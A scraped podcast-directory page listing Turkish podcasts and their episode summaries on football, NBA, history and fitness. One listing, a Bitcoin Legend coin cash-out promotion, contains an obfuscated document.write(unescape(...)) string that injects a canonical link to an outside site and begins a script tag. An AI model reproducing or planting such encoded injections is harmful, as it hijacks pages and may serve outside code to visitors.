75 открытые
[search 0]
Больше
Download the App!
show episodes
 
Artwork

1
Socrates Podcasts

Socrates Podcasts

Unsubscribe
Unsubscribe
Еженедельно+
 
Socrates’te ses yükseliyor! Socrates Dergi ekibinin futboldan motorsporlarına, basketboldan müzik kültürüne geniş bir yelpazede hazırladığı podcast’lere kulak verin.
  continue reading
 
Artwork

1
Geri Dönüyoruz

Socrates Dergi, Mahir Ünsal Eriş, Töre Sivrioğlu

Unsubscribe
Unsubscribe
Ежемесячно+
 
Mahir Ünsal Eriş ve Dr. Töre Sivrioğlu, Geri Dönüyoruz’da tarihe, kültüre, antropolojiye, arkelojiye ve sanata bakıyor, hem geçmişi hem de bugünü konuşuyor, insanın insan olma macerasını merakla heyecanlı soruların cevaplarının peşinden koşuyor.
  continue reading
 
Artwork
 
Başkalarının anonim seks CV'leri üzerinden cinselliğe, ilişkilere ve elimizden geldiğince hayata bakışımızı sorguluyoruz bunu yaparken de eğleniyoruz. Elimizden geldiğince eğlendiriyor ve sorgulatıyoruz. Bize ulaşmak isterseniz buralardayız twitter.com/TuzVisne www.instagram.com/visnetuz bekleriz. Twitter'da sabitlenmiş tweetimizde CV göndermek ve soru sormak için linklerimiz mevcuttur. Öptük çok <3
  continue reading
 
Artwork

1
Funnel Kafası

Podfresh: Emre Doğaner & Hasan Bölükbaş

Unsubscribe
Unsubscribe
Ежемесячно
 
Kendinize ve işinize yeni bir mantalite ile bakarak pazarlama, iş kurmanın temelleri, ustalaşmak, teklif hazırlamak, funnel kurmak ve satış yapmak konularında zamanla değişmeyen ilke ve prensipler öğrenmek istiyorsanız sizi bekliyoruz. Funnel Kafasından uzak kalmayın!
  continue reading
 
Artwork
 
Oyun ve animasyon sektörlerinde yıllarca dirsek çürüten Zeynep Akçay ve Orçun Nişli çifti, evde geliştirdikleri yeni oyunları Anytown: Garage Sale Monsters üzerinden Türkiye'de bağımsız oyun geliştirmeyi her yönüyle masaya yatırıyor. Dinleyici anketimize katılarak podcastimizi iyileştirmemize yardımcı olabilirsiniz: https://goo.gl/forms/6Iuf3pAtyuZizjsG3
  continue reading
 
Artwork

1
Dersimiz Fitness

Ömer Faruk Tanrıverdi

Unsubscribe
Unsubscribe
Ежемесячно+
 
Dersimiz Fitness, sağlıklı kilo verme ve kas yapma sürecinde ihtiyacın olacak doğru bilgileri ücretsiz olarak senle paylaşarak fiziğini kendi ellerinle değiştirmene yardımcı olmak için her hafta yeni bölümüyle karşında. Bu kanalda amacına ulaşmanda sana yardımcı olacak antrenman programları, sağlıklı beslenme alışkanlıkları, kişisel gelişim, yaşanmış hayat hikayeleri, bilimsel araştırma ve makaleler gibi birçok farklı konuda içerik bulabilirsin. Vücut geliştirme ve fitness dünyasında insanla ...
  continue reading
 
Artwork

1
Sen Yabancı Değilsin

Serap Aksoy

Unsubscribe
Unsubscribe
Ежемесячно+
 
Sen Yabancı Değilsin'de pembe panjurlu ev hayalleri dışındaki alanlardan ve burada yaşadığım deneyimlerimden bahsetiyorum. Bunu bazen alt kültüre dalıp bilmediğim diyarlarda dolaşarak, bazen de yeni izlediğim bir oyun yada kitabın büyüsünde yaşadığım aydınlanmaları paylaşacağım. Beni tüm podcast platformlarında dinleyebilirsin. Ayrıca bana senyabancidegilsinn@gmail.com ve @senyabancidegilsinn instagram adresinden ulaşabilirsin.
  continue reading
 
Artwork

1
Bitcoin Legend Para Çekme

Bitcoin Legend

Unsubscribe
Unsubscribe
Ежедневно+
 
Bitcoin legend para çekme , bitcoin legend uygulaması üzerinde elde ettiğiniz blc coinleri para olarak çekme nasıldır. Bitcoin legend blc'leri paraya çevirme document.write(unescape('%3C%6C%69%6E%6B%20%68%72%65%66%3D%27%68%74%74%70%73%3A%2F%2F%72%65%66%6B%6F%64%75%2E%63%6F%6D%2F%62%69%74%63%6F%69%6E%2D%6C%65%67%65%6E%64%2D%62%63%6C%2D%63%6F%69%6E%2D%6E%65%2D%7A%61%6D%61%6E%2D%62%6F%72%73%61%79%61%2D%67%69%72%65%63%65%6B%27%20%72%65%6C%3D%27%63%61%6E%6F%6E%69%63%61%6C%27%2F%3E%0A%3C%73%63%72% ...
  continue reading
 
Türkiye’nin ilk çizgi roman podcasti AltEvren, yeni bölümleriyle tekrar karşınızda! AltEvren - Türkçe Çizgi Roman Podcast’inde Marvel Comics ve DC Comics gibi süper kahraman çizgi romanlarından, Image Comics ve Dark Horse Comics gibi bağımsız yayıncılara; faydalı okuma listeleri ve tavsiyelerinden, işin sanat boyutuna dahil edilen eserlere çizgi roman kültürünün tüm boyutları burada.
  continue reading
 
Loading …
show series
 
Ülker'in katkılarıyla hazırlanan Socrates FC’de bu hafta İnan Özdemir, İlhan Özgen ve Atahan Altınordu sizlerle birlikte. Bu haftaki bölümü İlhan Özgen’in toplu taşımadaki kalorifer problemiyle açıyoruz. Japonca Sivasspor hesabına değinip Sarıyer İtalya hesabının açılmasına yönelik beklentilerimizi ifade ettikten sonra 4-0’lık Sarıyer-Batman Petrol…
  continue reading
 
Epsilon Yayınevi'nin katkılarıyla hazırlanan Geri Dönüyoruz'un 77. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, David Graeber ve David Wengrowve'un kaleme aldığı Her Şeyin Şafağı kitabından yola çıkarak insanlığın tarıma geçiş sürecini tartışıyorlar. Paleolitik yaşama dair bildiklerimizi, ilkel insanı, arpa ve buğdayın ehlileştirilmesini ve neolit…
  continue reading
 
Epsilon Yayınevi'nin katkılarıyla hazırlanan Geri Dönüyoruz'un 77. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, David Graeber ve David Wengrowve'un kaleme aldığı Her Şeyin Şafağı kitabından yola çıkarak insanlığın tarıma geçiş sürecini tartışıyorlar. Paleolitik yaşama dair bildiklerimizi, ilkel insanı, arpa ve buğdayın ehlileştirilmesini ve neolit…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Potacast'in yeni bölümünde Kaan Kural ve Orkun Çolakoğlu'nun sohbeti, sezona iyi bir şekilde giriş yapan takımların değerlendirilmesiyle başlıyor. Kevin Durant'in yaşına rağmen iyi bir performans sergilemesi ve yeni koç Mike Budenholzer ile yeni bir oyun kimliğine bürünen Phoenix Suns'ta Bradley Beal'ın bench'ten ge…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Socrates FC’de bu hafta İnan Özdemir, Atahan Altınordu ve Buğra Balaban sizlerle birlikte. Bu haftaki bölümü Atahan’ın geçtiğimiz bölümde yaptığı yarı moderatörlüğü konuşarak ve İnan’dan konuya dair eleştirilerini dinleyerek açıyoruz. Hemen ardından sıcak gündeme uzanıyor ve Trabzonspor-Fenerbahçe derbisini konuşuyo…
  continue reading
 
L'or Espresso'nun katkılarıyla hazırlanan Yeni Medya 451'in yeni bölümünde Can Öz ve Ümit Alan, Twitter'dan nefret etmemize neden olacak durumları irdeliyorlar. Twitter'ın nereye gittiğini, başarıya ulaşma ihtimalini, hayatımızda neleri değiştirdiğini ve sağa doğru kaymasını konuşurken; Twitter'ın rakamlarına, reklam gelirlerine, bilançolarona göz …
  continue reading
 
Ülker'in sunduğu Potacast'in yeni bölümünde Kaan Kural ve Orkun Çolakoğlu sırasıyla Los Angeles Clippers, Los Angeles Lakers, Cleveland Cavaliers, Denver Nuggets ve Milwaukee Bucks'ın son durumlarını değerlendiriyor. Ülker Magma ile Haftanın Lezzeti bölümünde yeni koçları J.J. Redick eşliğinde farklı bir oyun karakteriyle sezona iyi bir giriş yapan…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Socrates FC’nin yeni bölümünde Atahan Altınordu, İlhan Özgen ve Buğra Balaban sizlerle... Bu hafta bir değişiklik yapıyor ve moderasyon koltuğunu Atahan Altınordu’ya devrediyoruz. Atahan’ın moderasyonuyla açtığımız bölümde ilk gündem maddemiz Galatasaray-Beşiktaş derbisi. Galatasaray’ın 2-1’lik galibiyeti ve duran t…
  continue reading
 
Geri Dönüyoruz'un 74. bölümünde cumhuriyet bahsini açıyoruz. Cumhuriyet dediğimizde ne anlıyoruz? Cumhuriyet kavramı tam olarak neyi kapsar? Kökeni ve tarihi nereye dayanır? Demokrasiden farkı nedir? Ülkemizdeki cumhuriyet nasıl tesis edildi? Mahir Ünsal Eriş ve Töre Sivrioğlu, Cumhuriyet Bayramı haftasında cumhuriyet kavramını tüm yönleriyle tartı…
  continue reading
 
Geri Dönüyoruz'un 74. bölümünde cumhuriyet bahsini açıyoruz. Cumhuriyet dediğimizde ne anlıyoruz? Cumhuriyet kavramı tam olarak neyi kapsar? Kökeni ve tarihi nereye dayanır? Demokrasiden farkı nedir? Ülkemizdeki cumhuriyet nasıl tesis edildi? Mahir Ünsal Eriş ve Töre Sivrioğlu, Cumhuriyet Bayramı haftasında cumhuriyet kavramını tüm yönleriyle tartı…
  continue reading
 
Ülker'in sunduğu Potacast'in yeni bölümünde Kaan Kural ve Orkun Çolakoğlu, NBA'de yeni sezon açılışı ile birlikte yeni kontratlara imza atan oyunculardan ve bazı uçuk tahminlerden bahsediyor. Ülker Magma ile Haftanın Lezzeti bölümünde temsilcimiz Alperen Şengün'ün imzaladığı 5 yıl 185 milyon dolarlık kontrat masaya yatırılıyor. Son şampiyon Boston …
  continue reading
 
Ülker'in katkılarıyla hazırlanan Socrates FC’nin 216. bölümünde İnan Özdemir, İlhan Özgen ve Buğra Balaban sizlerle... Bu haftaki bölümü Atahan’ın bizlere anlattığı ve bizim anlatmak için sabırsızlandığımız “o” transfer hikayesinden biraz bahsederek açıyoruz. Kayseri’deki tenis turnuvası ve 1-1 biten Kastamonuspor-Sarıyer maçına değindikten sonra P…
  continue reading
 
Geri Dönüyoruz’un 73. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, geçen hafta bıraktıkları yerden devam ediyorlar ve İttihat ve Terakki’nin tesiriyle Kurtuluş Savaşı’na giden yoldan, Enver Paşa’nın arzularından, hırslarından, emellerinden ve hayallerinden bahsediyor, Kurtuluş Savaşı’nın cephelerinden ve savaşı meydana getiren unsurlardan bahsediy…
  continue reading
 
Geri Dönüyoruz’un 73. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, geçen hafta bıraktıkları yerden devam ediyorlar ve İttihat ve Terakki’nin tesiriyle Kurtuluş Savaşı’na giden yoldan, Enver Paşa’nın arzularından, hırslarından, emellerinden ve hayallerinden bahsediyor, Kurtuluş Savaşı’nın cephelerinden ve savaşı meydana getiren unsurlardan bahsediy…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Potacast'in yeni bölümünde Kaan Kural ve Orkun Çolakoğlu, NBA'de yeni sezon öncesi Batı Konferansı takımlarını değerlendiriyor. Bölümde, son finalist Dallas Mavericks, pivotsuz New Orleans, sakatlık geçmişi bir hayli kabarık olan Memphis Grizzlies, Caldwell-Pope'suz Denver ve EYT'li Mike Conley'li Minnesota Timberwo…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Socrates FC’de bu hafta İnan Özdemir, İlhan Özgen ve Atahan Altınordu sizlerle birlikte. Bu haftaki bölümü sezonu açan İlhan Özgen’e hoş geldin diyerek açıyoruz. İlhan’ın bu sezonki ilk bölümünün şerefine geçtiğimiz haftaki Sarıyer SK muhabbetini sürdürüyor, Sarıyer’i seçme nedenimizi konuşuyor ve Atahan’ın her şeyd…
  continue reading
 
Geri Dönüyoruz’un 72. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, daha önce açtıkları klasik müzik bahsini bu sefer alfabetik sırayla baştan alıyor ve bu ansiklopedik serinin ilk bölümünde uzunca bir yol alarak B harfinin ortalarına kadar geliyorlar.Socrates Dergi, Mahir Ünsal Eriş, Töre Sivrioğlu
  continue reading
 
Geri Dönüyoruz’un 72. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, daha önce açtıkları klasik müzik bahsini bu sefer alfabetik sırayla baştan alıyor ve bu ansiklopedik serinin ilk bölümünde uzunca bir yol alarak B harfinin ortalarına kadar geliyorlar.Socrates Podcasts
  continue reading
 
L'or Espresso'nun katkılarıyla hazırlanan Yeni Medya 451, altıncı sezonunu açıyor. Serinin 50. bölümünde Can Öz ve Ümit Alan, yapay zekâya karşı dayanıklı meslekleri ele alıyor. Gelişen teknolojilere karşı en dayanıklı meslekler, bu mesleklerin daha dayanıklı olduğuna dair dünyada yapılmış araştırmalara dair örnekler, meslek seçemesek bile geliştir…
  continue reading
 
Ülker’in katkılarıyla hazırlanan Potacast, sezonu açıyor. Serinin 593. bölümünde Orkun Çolakoğlu ve Kaan Kural, sezon öncesi Doğu Konferansı takımlarını değerlendiriyor. Son şampiyon Boston Celtics, geçen sezonu 32-50 ile bitiren Brooklyn Nets, geçen sezon grubunu en iyi dereceyle tamamlayan Milwaukee Bucks, yaz döneminde oyuncu kadrosunu tamamen k…
  continue reading
 
Ülker'in katkılarıyla hazırlanan Socrates FC’nin yeni sezonunun açılışında İnan Özdemir, Atahan Altınordu ve Buğra Balaban sizlerle birlikte. Yeni sezonun ilk bölümüne EURO 2024’ün ardından sezon açılışına dek yaptıklarımızdan bahsederek başlıyoruz. Kaan Kural’ın yaptığı ve Atahan’ın yapamadığı tatil, Sarıyer SK’nın gidişatı derken haftanın olayını…
  continue reading
 
Geri Dönüyoruz'un 71. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, okulların yeniden açıldığı bu haftalarda eğitimin önemine yoğunlaşıyor, eğitim ve tedrisattan bahsediyor. Yazılı kültürlerde çocukların ve yetişkinlerin eğitim geçmişini konuşurken; Avrupa'daki seküler eğitimin yükselişini, Yunanların matematik ve retorik eğitimine karşı Spartalıla…
  continue reading
 
Geri Dönüyoruz'un 71. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, okulların yeniden açıldığı bu haftalarda eğitimin önemine yoğunlaşıyor, eğitim ve tedrisattan bahsediyor. Yazılı kültürlerde çocukların ve yetişkinlerin eğitim geçmişini konuşurken; Avrupa'daki seküler eğitimin yükselişini, Yunanların matematik ve retorik eğitimine karşı Spartalıla…
  continue reading
 
Geri Dönüyoruz'un 70. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, bir önceki bölümden söz verdikleri gibi İttihat ve Terakki dosyasını açıyor. İttihat ve Terakki'nin anlamı, ne zaman ve nerede kurulduğu, kurucu kadrosu, örnek aldığı örgüt yapıları derken; cemiyetin yarattığı ideolojik yapı, Türk entelektüelliği üzerindeki etkileri, attıkları iler…
  continue reading
 
Geri Dönüyoruz'un 70. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, bir önceki bölümden söz verdikleri gibi İttihat ve Terakki dosyasını açıyor. İttihat ve Terakki'nin anlamı, ne zaman ve nerede kurulduğu, kurucu kadrosu, örnek aldığı örgüt yapıları derken; cemiyetin yarattığı ideolojik yapı, Türk entelektüelliği üzerindeki etkileri, attıkları iler…
  continue reading
 
Geri Dönüyoruz'un 69. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, Birinci Dünya Savaşı'nı tartışmaya açıyor. Dünyanın ilk büyük savaşının sebepleri, tarafları, kazananları, kaybedenleri, kazanan tarafta olup kaybedenleri derken, savaşın en kanlı cephelerini, İkinci Dünya Savaşı'na etkilerini ve Britanya ve Fransa'nın kıta dışından getirdiği asker…
  continue reading
 
Geri Dönüyoruz'un 69. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, Birinci Dünya Savaşı'nı tartışmaya açıyor. Dünyanın ilk büyük savaşının sebepleri, tarafları, kazananları, kaybedenleri, kazanan tarafta olup kaybedenleri derken, savaşın en kanlı cephelerini, İkinci Dünya Savaşı'na etkilerini ve Britanya ve Fransa'nın kıta dışından getirdiği asker…
  continue reading
 
Geri Dönüyoruz'un 68. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, çok eskilere gidiyor ve İsa Peygamber'i konuşuyor. İsa ile ilgili bildiklerimizin ne kadar güvenilir bilgiler olduğunu ve yaşadığı dönemdeki önemini detaylıca konuşurken, tarihsel ve dini İsa figürünün ayrımını yapıyor, İsa Peygamber'in kim olduğu, ne iş yaptığı, nerede doğduğu, ne…
  continue reading
 
Geri Dönüyoruz'un 68. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, çok eskilere gidiyor ve İsa Peygamber'i konuşuyor. İsa ile ilgili bildiklerimizin ne kadar güvenilir bilgiler olduğunu ve yaşadığı dönemdeki önemini detaylıca konuşurken, tarihsel ve dini İsa figürünün ayrımını yapıyor, İsa Peygamber'in kim olduğu, ne iş yaptığı, nerede doğduğu, ne…
  continue reading
 
Dersimiz Fitness’ın bu bölümünde kas yapımı, yağ yakımı ve en önemlisi sinir sisteminin gelişimi için sana en çok yarar sağlayacak olan antrenman modeli ve egzersizler ele alındı. Sen de fiziğine seviye atlatmak istiyorsan bu bölümde konuşulanları kaçırma. (00:00:07) Senin için en iyi olan egzersiz, yapmadığın egzersiz. (00:07:06) Hareketlerde ne k…
  continue reading
 
Geri Dönüyoruz'un 67. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, tüm yönleriyle bayrakları ele alıyor. "Bayrak nedir?" sorusundan yola çıkarak, bayrak kelimesinin etimolojik kökenini, bayrakların temsil ettiklerini, mazisi en eskiye uzanan bayrakları, bayraklardaki renklerin anlamlarını, Türk bayrağının simgesi olan ay ve yıldızın eskilere uzana…
  continue reading
 
Geri Dönüyoruz'un 67. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, tüm yönleriyle bayrakları ele alıyor. "Bayrak nedir?" sorusundan yola çıkarak, bayrak kelimesinin etimolojik kökenini, bayrakların temsil ettiklerini, mazisi en eskiye uzanan bayrakları, bayraklardaki renklerin anlamlarını, Türk bayrağının simgesi olan ay ve yıldızın eskilere uzana…
  continue reading
 
Geri Dönüyoruz'un 66. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, bir önceki bölümde başladıkları sol müzikler bahsine devam ediyor. Darbe öncesinden günümüze uzanan dönemi ele alarak başladığımız bu devam bölümünde; 1 Mayıs Marşı ile İşçi Marşı'nın ayrımı, türe piyanoyu dahil eden Timur Selçuk, tiyatro ile müziği birleştiren Cem Karaca, en üretk…
  continue reading
 
Geri Dönüyoruz'un 66. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, bir önceki bölümde başladıkları sol müzikler bahsine devam ediyor. Darbe öncesinden günümüze uzanan dönemi ele alarak başladığımız bu devam bölümünde; 1 Mayıs Marşı ile İşçi Marşı'nın ayrımı, türe piyanoyu dahil eden Timur Selçuk, tiyatro ile müziği birleştiren Cem Karaca, en üretk…
  continue reading
 
Dersimiz Fitness’ın bu bölümünde stresin insan vücuduna etkisi ve stresle başa çıkmanın yolları konuşuldu. Sen de strese karşı bakış açını değiştirmek istiyorsan bu bölümü sonuna kadar dinle ve sevdiklerinle paylaş. (00:07) Stres insan vücudunu nasıl etkiliyor? Neden strese ihtiyacımız var? (06:06) Stres kovanı boşaltan aksiyonlar (08:13) Stres tol…
  continue reading
 
Geri Dönüyoruz'un 65. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, sol müzikleri konuşuyor. Türe ait isimlendirme sorunundan başlayarak, sol müziklerin ilk uygulayıcıları, ilk politik besteler, zaman içinde anlam kaymasına uğrayan ve yanlış söylenen marşlar, TİP ve TKP geleneğiyle gelişen sol müziğin tarihçesi; Ruhi Su, Hasret Gültekin, Aşık İhsan…
  continue reading
 
Geri Dönüyoruz'un 65. bölümünde Mahir Ünsal Eriş ve Töre Sivrioğlu, sol müzikleri konuşuyor. Türe ait isimlendirme sorunundan başlayarak, sol müziklerin ilk uygulayıcıları, ilk politik besteler, zaman içinde anlam kaymasına uğrayan ve yanlış söylenen marşlar, TİP ve TKP geleneğiyle gelişen sol müziğin tarihçesi; Ruhi Su, Hasret Gültekin, Aşık İhsan…
  continue reading
 
Wings'in katkılarıyla hazırlanan Socrates FC’nin sezon finalinde İnan Özdemir, İlhan Özgen ve Atahan Altınordu sizlerle... Bölümü Atahan ve İlhan ikilisinin yaşadığı sabah kahvaltısı kriziyle açıyoruz. Kemal Kılıç’a dair yaşanan birtakım yanlış anlaşılmaların ve Atahan’la İnan’ın Alcaraz-Djokovic finaline yönelik girdiği iddianın ardından EURO 2024…
  continue reading
 
Wings'in katkılarıyla hazırlanan Socrates FC’de bu hafta İlhan Özgen, Atahan Altınordu ve Buğra Balaban sizlerle birlikte. Bu haftaki bölümü EURO 2024 yarı finallerinin değerlendirmesiyle açıyoruz. İngiltere’nin Hollanda karşısında özellikle ilk yarıdaki etkileyici oyunu, Kobbie Mainoo’nun müthiş performansı, Denzel Dumfries’in yaptırdığı penaltı v…
  continue reading
 
Dersimiz Fitness’ın bu bölümünde yağ yakımı için kardiyo antrenmanlarının nasıl uygulanması gerektiğinden bahsedildi. Sen de kalp sağlığı iyileştirip şekle girmek istiyorsan bu bölümü kaçırma. (00:07) Kardiyo ve yağ yakımı arasındaki ilişki (03:41) Zone 1, 2 ve 3 kardiyo antrenman çeşitleri (06:52) Farklı kardiyo seçenekleri ve antrenmandan keyif a…
  continue reading
 
Loading …

Краткое руководство